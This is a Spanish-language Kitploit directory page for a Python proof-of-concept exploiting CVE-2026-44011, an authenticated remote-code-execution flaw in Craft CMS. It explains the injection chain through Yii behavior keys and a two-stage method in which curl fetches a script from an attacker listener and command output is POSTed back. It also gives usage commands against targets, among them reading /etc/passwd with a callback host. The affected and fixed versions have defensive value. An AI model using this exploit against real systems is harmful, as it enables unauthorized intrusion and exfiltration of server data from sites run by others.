Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-44011-poc — Prueba de concepto en Python para CVE-2026-44011, un RCE autenticado en Craft CMS mediante inyección de comportamiento de Yii, con captura de salida de comandos en dos etapas. | Kitploit
Herramientas/GitHubGitHub/khush-613/cve-2026-44011-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubkhush-613/cve-2026-44011-poc

CVE-2026-44011-poc

Prueba de concepto en Python para CVE-2026-44011, un RCE autenticado en Craft CMS mediante inyección de comportamiento de Yii, con captura de salida de comandos en dos etapas.

Ver Repositorio
1158hace 23 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-44011

RCE autenticado en Craft CMS mediante inyección de comportamiento de Yii.

Afectados: 4.0.0–4.17.11, 5.0.0–5.9.17
Corregido en: 4.17.12, 5.9.18
Aviso: GHSA-qrgm-p9w5-rrfw

Vulnerabilidad

El endpoint /admin/actions/element-search/search acepta un parámetro condition que se pasa directamente a ElementCondition::createCondition() sin que se llame primero a Component::cleanseConfig(). Esto significa que las claves especiales de construcción de objetos de Yii — __class, as <name> (adjuntar comportamiento), on <event> (registrar manejador) — surten efecto cuando el objeto FieldLayout se construye a partir de los datos de la petición.

El exploit adjunta AttributeTypecastBehavior configurado para llamar a Psy\Readline\Hoa\ConsoleProcessus::execute() (un interno de PSY/Yii que ejecuta comandos de shell) como su callable de conversión de tipo. El comportamiento se dispara en el evento beforeSave, que Craft activa durante la misma petición.

Cualquier cuenta — incluso un editor con privilegios bajos — puede hacer esto. No se necesitan derechos de administrador.

Cómo funciona este exploit

En lugar de una reverse shell ciega, utiliza una captura de salida en dos etapas:

  1. Etapa 1 — inyecta un comando curl que obtiene un script de shell desde un listener HTTP local que tú controlas
  2. Etapa 2 — inyecta un segundo comando que ejecuta ese script; el script envía su salida de vuelta a tu listener mediante POST

Obtienes la salida del comando directamente en la terminal, sin necesidad de un listener nc.

Requisitos

  • Python 3.8+
  • Librería requests (pip install requests)
  • El objetivo debe poder alcanzar tu máquina (para el callback)
  • Credenciales válidas para cualquier cuenta de Craft CMS

Uso

# Basic — run id on the target
python3 exploit.py \
  -b http://target.com \
  -u [email protected] \
  -p 'password123' \
  -c 'id'

# Custom control panel path
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'

# Specify your callback address when it can't be inferred
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
  -H 10.10.14.5 --listen-port 8080

# Skip TLS verification (self-signed certs)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify

# Skip version check (e.g. version detection fails)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force

El host/puerto de callback es donde el objetivo envía la salida de vuelta hacia ti mediante POST. Por defecto, el host se infiere a partir de tu ruta hacia el objetivo y el puerto lo asigna el sistema operativo. Si el objetivo está detrás de un NAT o VPN, necesitarás --callback-host apuntando a tu IP accesible.

Opciones

-b / --base-url       Target origin (required)
-P / --cp-path        Control panel path (default: /admin)
-u / --username       Login name or email (required)
-p / --password       Password (required)
-c / --command        Shell command to execute (required)
-s / --site-id        Craft site ID (default: 1)
-e / --element-type   Element type for the condition (default: craft\elements\Category)
-t / --timeout        Request timeout in seconds (default: 15)
-H / --callback-host  Your reachable address for output callbacks
     --listen-port    Port for output listener (default: OS picks one)
     --no-verify      Skip TLS cert verification
-F / --force          Skip version range check

Probado en

  • Craft CMS 5.9.8, Ubuntu 22.04

Descargo de responsabilidad

Solo para pruebas de seguridad autorizadas e investigación.

Descargar herramienta